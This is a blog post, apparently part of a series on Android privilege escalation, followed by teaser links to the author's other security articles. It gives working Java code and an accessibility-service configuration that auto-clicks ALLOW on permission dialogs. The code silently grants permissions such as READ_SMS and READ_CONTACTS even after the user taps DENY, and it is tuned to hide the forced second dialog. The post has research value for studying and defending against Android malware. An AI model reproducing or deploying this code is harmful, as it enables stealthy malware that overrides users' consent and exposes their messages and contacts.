Exploiting CVE-2024-37148
Intro When it comes to input sanitisation, who is responsible, the function or the caller ? Or both ? And if no one does, hoping that the other one will do t...
~$ cat How_an_Android_app_could_escalate_its_privileges_Part3.txt
For this part, I changed the way the app obtains more permissions, making it stealthier. The trick here is to explicitly ask for at least two permissions, let the user choose for the first one, and force the click on the second one. If the device is fast enough, we cannot really see that a second window has spawned and has been immediately closed.
The only suspicious thing is that popups are numbered, and the user will only see clearly the first one, if there are only two. Actually, I tried with three permissions, but on my slow emulator, only the second one was “skipped”, which is clearly suspicious.
The Manifest remains the same, I still ask for READ_SMS and READ_CONTACTS. However, the configuration file is modified, because we don’t need to listen
for events coming from our app or Settings, and we try to catch click
events. Furthermore, I added the flag flagReportViewIds
:
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android" android:accessibilityEventTypes="typeViewClicked" android:packageNames="com.google.android.packageinstaller" android:accessibilityFeedbackType="feedbackAllMask" android:notificationTimeout="100" android:canRetrieveWindowContent="true" android:accessibilityFlags="flagReportViewIds"/>
In the main activity, as usual, we try to detect if accessibility service is enabled. In this example, we only have to call ActivityCompat.requestPermissions
( setContentView
doesn’t need to be in the else
statement actually)
@Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); String[] perms = getRequestedPermissions(this); if (perms != null && perms.length != 0 && isAccessibilityServiceOn()) ActivityCompat.requestPermissions(this, perms, 1); else setContentView(R.layout.activity_main); }
and getRequestedPermissions
returns permissions asked in the Manifest:
private String[] getRequestedPermissions(){ PackageInfo info = null; try { info = getPackageManager().getPackageInfo(getPackageName(), PackageManager.GET_PERMISSIONS); } catch (PackageManager.NameNotFoundException e) { e.printStackTrace(); } return info == null ? null : info.requestedPermissions; }
Then, the routine ActivityCompat.requestPermissions(this, perms, 1)
will show one popup for each permission (that’s the reason why they are numbered). The first parameter
is the asking activity (this one), and the last integer is an identifier, useless here since we don’t use onRequestPermissionsResult
.
Once again, the code is simpler, because we don’t need to browse through settings and click on certain items. The idea is very simple: for each permission, the package manager will display a dialog box, with a short message, a picture, and two buttons: ALLOW and DENY. We try to capture the click on one of these two buttons, and force the click on ALLOW. Then, this click will affect the next popup, and the next permission will be granted. Since we cannot ensure that the language of the device is English, we use views’ identifiers to know where to click, and which widget has been clicked.
The two interesting widgets have these ids:
private static final String DENY_BUTTON = "com.android.packageinstaller:id/permission_deny_button"; private static final String ALLOW_BUTTON = "com.android.packageinstaller:id/permission_allow_button";
That is the reason why I used the flag flagReportViewIds
.
In onAccessibilityEvent
, we don’t need to filter, since there is only one registered type of event on one app. Once again, the view is recursively scanned,
and true
is returned if the button has been clicked:
@Override public void onAccessibilityEvent(AccessibilityEvent accessibilityEvent) { parseView(accessibilityEvent.getSource()); } private boolean parseView(AccessibilityNodeInfo node){ if (node == null) return false; node.refresh(); for(int i = 0; i< node.getChildCount(); i++){ if (parseView(node.getChild(i))) return true; } if (node.getText() != null){ if (getRootInActiveWindow() != null && node.getViewIdResourceName() != null && (node.getViewIdResourceName().equalsIgnoreCase(DENY_BUTTON) || node.getViewIdResourceName().equalsIgnoreCase(ALLOW_BUTTON))){ List<AccessibilityNodeInfo> allow = getRootInActiveWindow().findAccessibilityNodeInfosByViewId(ALLOW_BUTTON); if (allow != null && allow.size() != 0) { allow.get(0).performAction(AccessibilityNodeInfo.ACTION_CLICK); } } } return false; }
NOTE: the line node.refresh()
is required, see here
In the video, you can see that READ_CONTACTS has been granted, whereas READ_SMS has been explicitly denied by the user. Since my emulator is really slow, we can see that a second window has spawned with the second permission. The idea is then to put first in the Manifest a “useless” permission, and the expected one.
Two things are quite interesting in this example:
Video:
Intro When it comes to input sanitisation, who is responsible, the function or the caller ? Or both ? And if no one does, hoping that the other one will do t...
Intro After being tasked with auditing GLPI 10.0.12, for which I uncovered two unknown vulnerabilities (CVE-2024-27930 and CVE-2024-27937), I became really i...
Intro A few weeks ago, I discovered during an intrusion test two vulnerabilities affecting GLPI 10.0.12, that was the latest public version at this time. The...
I was recently tasked with auditing the application GLPI, a few days after its latest release (10.0.12 at the time of writing). The latter stands for Gestion...
I won’t insult you by explaining once again what JSON Web Tokens (JWTs) are, and how to attack them. A plethora of awesome articles exists on the Web, descri...
A few days ago, I published a blog post about PHP webshells, ending with a discussion about filters evasion by getting rid of the pattern $_. The latter is c...
A few thoughts about PHP webshells …
I remember this carpet, at the entrance of the Computer Science faculty, with this message There’s no place like 127.0.0.1/8. A joke that would create two ca...
TL;DR A few experiments about mixed managed/unmanaged assemblies. To begin with, we start by presenting a C# programme that hides a part of its payload in an...
It was a sunny and warm summer afternoon, and while normal people would rush to the beach, I decided to devote myself to one of my favourite activities: suff...
The reader should first take a look at the articles related to CVE-2023-3032 and CVE-2023-3033 that I published a few days ago to get more context.
This walkthrough presents another vulnerability discovered on the Mobatime web application (see CVE-2023-3032, same version 06.7.2022 affected). This vulnera...
Mobatime offers various time-related products, such as check-in solutions. In versions up to 06.7.2022, an arbitrary file upload allowed an authenticated use...
King-Avis is a Prestashop module developed by Webbax. In versions older than 17.3.15, the latter suffers from an authenticated path traversal, leading to loc...
Let’s render unto Caesar the things that are Caesar’s, the exploit FuckFastCGI is not mine and is a brilliant one, bypassing open_basedir and disable_functio...
I have to admit, PHP is not my favourite, but such powerful language sometimes really amazes me. Two days ago, I found a bypass of the directive open_basedir...
PHP is a really powerful language, and as a wise man once said, with great power comes great responsibilities. There is nothing more frustrating than obtaini...
A few weeks ago, a good friend of mine asked me if it was possible to create such a program, as it could modify itself. After some thoughts, I answered that ...
In the previous article, I described how I wrote a simple polymorphic program. “Polymorphic” means that the program (the binary) changes its appearance every...
The malware presented in this blog post appeared on Google Play in 2016. I heard about it thanks to this article published on checkpoint.com. The malicious a...
Ransomwares are really interesting malwares because of their very specific purpose. Indeed, a ransomware will not necessarily try to be stealth or persistent...
A few days ago, I found this article about a malware targeting Sberbank, a big Russian bank. The app disguises itself as a web application, stealing in backg...
RuMMS is a malware targetting Russian users, distributed via websites as a file named mms.apk [1]. This article is inspired by this analysis made by FireEye ...
Could a 5-classes Android app be so harmful ? dsencrypt says “yes”…
~$ cat How_an_Android_app_could_escalate_its_privileges_Part4.txt
~$ cat How_an_Android_app_could_escalate_its_privileges_Part3.txt
~$ cat How_an_Android_app_could_escalate_its_privileges_Part2.txt
~$ cat How_an_Android_app_could_escalate_its_privileges.txt
Even if the thesis introduces the extensions internals, and analyses the difference between mobile and desktop browsers in terms of likelihood, efficiency an...